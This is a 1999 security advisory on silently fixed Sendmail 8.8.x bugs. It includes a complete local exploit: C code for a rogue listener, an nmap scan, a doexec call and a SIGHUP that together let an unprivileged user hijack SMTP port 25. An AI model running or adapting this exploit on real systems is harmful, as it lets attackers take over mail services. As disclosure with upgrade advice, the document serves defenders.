Still using Sendmail 8.8.x? It's definitely time to upgrade.
6 Nov. 1999
Summary
Facts. Many administrators still use Sendmail 8.8.x (usually 8.8.8) because it is titled a more stable and secure release, believing there are no major bugs in it. Unfortunately, there are some bugs that were fixed silently and until the release of Sendmail 8.9.3, these bugs were not "officially" reported in the CHANGES document causing people to think that there is no security problem in running older versions of Sendmail.
Credit:
The vulnerability, exploit code and explanation was provided by: Michal Zalewski.
- Sendmail 8.8.8 (fixed in 8.9.3, no info about other releases) won't allow '-bd' parameter (run as daemon) if launched by luser. But '-bD' parameter (run as daemon, but in foreground) works perfectly. This has been fixed without any info in development history file.
- Sendmail 8.8.8 (fixed in 8.9.1, mentioned in history after an exploit has been published) has a minor problem on Linux 2.0.xx platforms - if accept() fails, it will close listen sockets, log error and sleep for 5 seconds. Easiest way to cause this behavior:
attacker# nmap -sS -P0 -p 25 destination_host
(To learn more about NMap read our article: NMap Port scanner)
- There's an unpublished, and theoretically harmless bug - where when the Sendmail daemon receives a HUP signal, it does execve(argv[0],...) to restart itself. Unfortunately, 4th file descriptor (listen socket) isn't closed before execve.
What can we do with these bugs together? Look:
victim$ cd /tmp
victim$ cat >test.c <<EOF
#include <netinet/in.h>
#include <fcntl.h>
#define SERV_FD 4
main() {
struct sockaddr_in saddr;
int csock,i=sizeof(saddr);
while (1) {
while ((csock=accept(SERV_FD,&saddr,&i))<0);
if (!fork()) {
dup2(csock,0);
dup2(csock,1);
dup2(csock,2);
printf("220 Takeover ESMTP mail service - road closed.\n");
fflush(0);
sleep(1);
shutdown(csock,2);
close(csock);
exit(0);
}
}
}
EOF
victim$ gcc test.c -o test
Now, we only have a 5 seconds interval to execute the following two commands.
attacker# nmap -p 25 -sS -P0 -n victim
We should now enter (quickly!) the following on victim machine:
victim$ doexec /usr/sbin/sendmail /tmp/test -bD
Note: doexec is handful utility shipped with RH to set arbitrary argv[0] of programs. Source for this application seems to be similar to:
If you'll see 'Address already in use', you're probably too slow. Let's switch to another tty and see what have we here (should be our foreground daemon, while old, background daemon won't be able to bind() to port 25 anymore):
victim$ nc 127.0.0.1 25
220 Marchew ESMTP Mail Service at nimue.ids.pl ready. quit
221 nimue.ids.pl closing connection
Hmm, what about sending SIGHUP to our foreground daemon... It will execute /tmp/test instead of itself. Nothing dangerous, as extra privileges are dropped... But we'll inherit descriptor to listen socket (which shouldn't happen).
victim$ killall -HUP Sendmail
What happened? Hmmm....
victim$ nc 127.0.0.1 25
220 Takeover ESMTP mail service - road closed.
victim$
As you can see we are now in control of the SMTP port 25.